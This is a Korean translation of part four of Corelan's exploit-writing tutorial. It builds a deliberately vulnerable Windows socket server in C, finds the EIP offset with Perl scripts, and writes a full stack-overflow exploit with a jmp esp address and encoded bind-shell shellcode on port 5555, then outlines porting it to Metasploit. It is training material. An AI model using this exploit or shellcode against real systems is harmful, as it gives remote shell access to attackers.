문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com
문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에저작권이있음을유의하기바랍니다. 또한, 이문서를상업적으로사용시모든법적책임은사용자자신에게있음을경고합니다.
1 Exploit Writing Tutorial by corelan [ 네번째. 공격코드를 MSF 코드로변환 ] 편역 : 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 앞에서다룬문서들에서, 우리는취약점이일반적으로두가지유형의공격코드로이용될수있음을이 해했다 (EIP 를직접덮어쓰는것과, SEH 체인을이용한스택오버플로우 ). 그리고실습에사용한모든예제 에펄 (Perl) 언어를사용했다. 공격코드를작성할수있는언어에펄만있는것은아니다. 모든프로그래밍언어가공격코드를작성하는데사용될수있다. 단지본인에게친숙한언어를하나골라사용하면된다. 본인이원하는언어를이용해맞춤형공격코드를작성하는것도좋지만, 메타스플로잇에서제공하는좋은기능을활용하는차원에서메타스플로잇에맞는공격코드를작성하는것도추천할만하다. 그리하여, 이번장에서는공격코드를메타스플로잇모듈로전환할수있는방법을다룰예정이다. 메타 스플로잇모듈은루비 (ruby) 라는언어로작성되었다. 하지만루비언어를모르더라도이번장에서제공하 는간단한공격코드를메타스플로잇모듈로변환하는데큰무리는없을것이다. 1. 메타스플로잇 Exploit 모듈구조 일반적인 MSF( 메타스플로잇 ) exploit 모듈은다음과같은요소들로구성되어있다. 헤더와의존성코드 - 해당 exploit 모듈에대한간단한설명 - require 'msf/core' 클래스정의 includes 'def' 정의 : - initialize / check(optional) / exploit 주석문은 '#' 기호를이용해삽입하면된다는것만알면준비는끝났다. 자이제 MSF exploit 모듈을작 성하는절차에대해알아보자.
2 2. 실습예제 : 간단한취약점을가지는서버공격코드작성 우리는아래와같이 C 로코딩된간단한서버취약점코드를이용할것이다. 코드를컴파일해서 Windows 2003server 서비스팩 2 에서실행한다. #include <iostream.h> #include <winsock.h> #include <windows.h> // 윈도우소켓로드 #pragma comment(lib, "wsock32.lib") // 반환메시지정의 #define SS_ERROR 1 #define SS_OK 0 void pr(char *str) char buf[500]=""; strcpy(buf,str); void serror(char *str) MessageBox (NULL, str, "socket Error",MB_OK); WSACleanup(); int main(int argc, char **argv) WORD sockversion; WSADATA wsadata; int rval; char Message[5000]=""; char buf[2000]=""; SOCKET serversocket, clientsocket; struct sockaddr_in sin; u_short LocalPort; int bytesrecv = SOCKET_ERROR; LocalPort = 200; // wsock32 초기화 sockversion = MAKEWORD(1,1);
3 WSAStartup(sockVersion, &wsadata); // 서버소켓생성 serversocket = socket(af_inet, SOCK_STREAM, 0); if(serversocket == INVALID_SOCKET) serror("failed socket()"); return SS_ERROR; sin.sin_family = PF_INET; sin.sin_port = htons(localport); sin.sin_addr.s_addr = INADDR_ANY; // 소켓에 bind rval = bind(serversocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rval == SOCKET_ERROR) serror("failed bind()"); WSACleanup(); return SS_ERROR; // 연결을기다리기위해소켓을가져옴 rval = listen(serversocket, 10); if(rval == SOCKET_ERROR) serror("failed listen()"); WSACleanup(); return SS_ERROR; // 클라이언트가 clientsocket에연결하기를기다림 clientsocket = accept(serversocket, NULL, NULL); if(clientsocket == INVALID_SOCKET) serror("failed accept()"); WSACleanup();
4 return SS_ERROR; while(bytesrecv == SOCKET_ERROR) // 클라이언트로부터최대 5000바이트크기의데이터를받음 bytesrecv = recv(clientsocket, Message, 5000, 0); if (bytesrecv == 0 bytesrecv == WSAECONNRESET) printf("\nconnection Closed.\n"); break; // 받은데이터를함수 pr로넘겨줌 pr(message); // 클라이언트소켓을닫음 closesocket(clientsocket); // 서버소켓을닫음 closesocket(serversocket); WSACleanup(); return SS_OK; 서버로 1000 바이트의문자를보내면, 서버는다운될것이다. 다음의 perl 스크립트를작성해서실행해보 자. use strict; use Socket; my $junk = "\x41" x1000; # 호스트와포트를초기화
5 my $host = shift '210.112.249.243'; my $port = shift 200; my $proto = getprotobyname('tcp'); # 포트주소를가져옴 my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # 소켓을생성해포트로연결 socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; 프로그램을실행시키면서버가죽고, EIP 는 'A' 로덮어써진다. 아래그림을보면 EIP 안에 41414141 이 들어가있는것을확인할수있다. 메타스플로잇패턴을사용하면 EIP 가패턴의 504 바이트위치에위치함을알수잇다. 그럼새로운스크 립트를만들어우리가찾은오프셋이맞는지확인해보자. use strict; use Socket; my $totalbuffer=1000;
6 my $junk = "\x41" x 504; my $eipoverwrite = "\x42" x 4; my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite)); # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$junk2."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; 504 개의 A 와 4 개의 B, 그리고 C 더미를전송하면다음과같은레지스터와스택정보를확인할수있다.
7 쓰레기값크기를늘리면쉘코드를위한공간이어느정도인지가늠할수있다. 이것은 MSF 모듈에서 특정인자를사용하기위해필요하다. $totalbuffer 값을 2000 으로변경해도여전히오버플로우는발생한다. 그리고 ESP 의내용은우리가쓰레 기값으로지정한 'C' 가 ESP+5d3(1491 바이트 ) 까지채워져있는것을확인할수있다. 이것이우리가쉘코 드를삽입할공간이다. 우리가필요한것은 EIP 를 'jmp esp' 라는명령으로덮어쓰는것이다. 그리고쓰레기값 (C) 으로채워진 부분에쉘코드를삽입한다. windbg 자체기능을이용한결과, 다음과같은코드조각을찾을수있었다. 쉘코드를가지고테스트를수행한결과, 최종공격코드를위해다음과같은조치가필요하다는결론을내렸다. - 쉘코드에서 0xff를제거 - 쉘코드시작이전에 nop를삽입 5555 포트로쉘을연결하는최종코드는아래와같다. # print " --------------------------------------\n"; print " Writing Buffer Overflows\n"; print " Peter Van Eeckhoutte\n"; print " http://www.corelan.be:8800\n"; print " --------------------------------------\n"; print " Exploit for vulnserver.c\n"; print " --------------------------------------\n"; use strict; use Socket; my $junk = "\x90" x 504;
8 #jmp esp (from ws2_32.dll) my $eipoverwrite = pack('v',0x71c02b67); #add some NOP's my $shellcode="\x90" x 50; # windows/shell_bind_tcp - 702 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= $shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a". "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f". "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35". "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f". "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31". "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e". "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54". "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b". "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45". "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b". "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b". "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c". "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53". "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c". "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e". "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36". "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47". "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48". "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56". "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58". "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38". "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56". "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53". "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35". "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58". "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36".
9 "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38". "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46". "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59". "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54". "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57". "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35". "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38". "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59". "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49". "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32". "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a". "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e". "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56". "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a". "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30". "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f". "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30". "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f". "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a". "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50". "\x41\x41"; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n";
10 print SOCKET $junk.$eipoverwrite.$shellcode."\n"; print "[+] Payload sent\n"; print "[+] Attempting to telnet to $host on port 5555...\n"; system("telnet $host 5555"); close SOCKET or die "close: $!" 공격코드실행화면 성공적으로쉘획득 이공격코드에서추출해야할유용한변수들을나열해보면아래와같다. - EIP 를덮어쓸수있는오프셋 : 504 - 윈도우서버 2003 점프주소 : 0x71ab33a0 / 윈도우 XP SP3 점프주소 : 0x71ab2b53 - 쉘코드는 0x00과 0xff 를포함해선안된다. - 쉘코드는 1400바이트를넘을수있다.
11 3. 공격코드를메타스플로잇코드로전환 코드가비슷한유형을가지는메타스플로잇디렉토리에저장되어야하므로, 우선작성할공격코드가 어떤형태를가져야할지결정해야한다. 만약공격목표가윈도우기반 ftp 서버라면, 공격코드는윈도 우 ftp 서버공격코드가저장되어있는폴더에두어야한다. 메타스플로잇모듈은보통 framework3..( 혹은메타스플로잇, 시스템마다상이할수도있다.) 폴더구조아래에저장되어있는데, 구체적으로하위디렉토리인 /modules/exploits 폴더에코드를저장하면된다. 이폴더안에는서비스와운영체제에따라공격코드가폴더로구분되어있다. 해당하는폴더에코드를저장하면된다. 우리가만든서버취약점코드는윈도우기반에서동작하므로, 코드를 windows 폴더에넣겠다. 윈도우 폴더는이미다양한폴더를가지고있을것이다. 우리는코드를 'misc' 폴더에저장한다. (misc = 기타타 입을의미 ) / 메타스플로잇 /msf3/modules/exploits/windows/misc 폴더로가서다음과같이코드를생성해보자. 자이제공격코드제작이완료되었다. msfconsole 을실행해모듈을로드후실행해보자 (XP SP3 대상으 로테스트 ).
12 모듈로드후옵션을설정한다. 그뒤, exploit 명령을실행하면위그림과같이공격이성공된화면을볼수있다.